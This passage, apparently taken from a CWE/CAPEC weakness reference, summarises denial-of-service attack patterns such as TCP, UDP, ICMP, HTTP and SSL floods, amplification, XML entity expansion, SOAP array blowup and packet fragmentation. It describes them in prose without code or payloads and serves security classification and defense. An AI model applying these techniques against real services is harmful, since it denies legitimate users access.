  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

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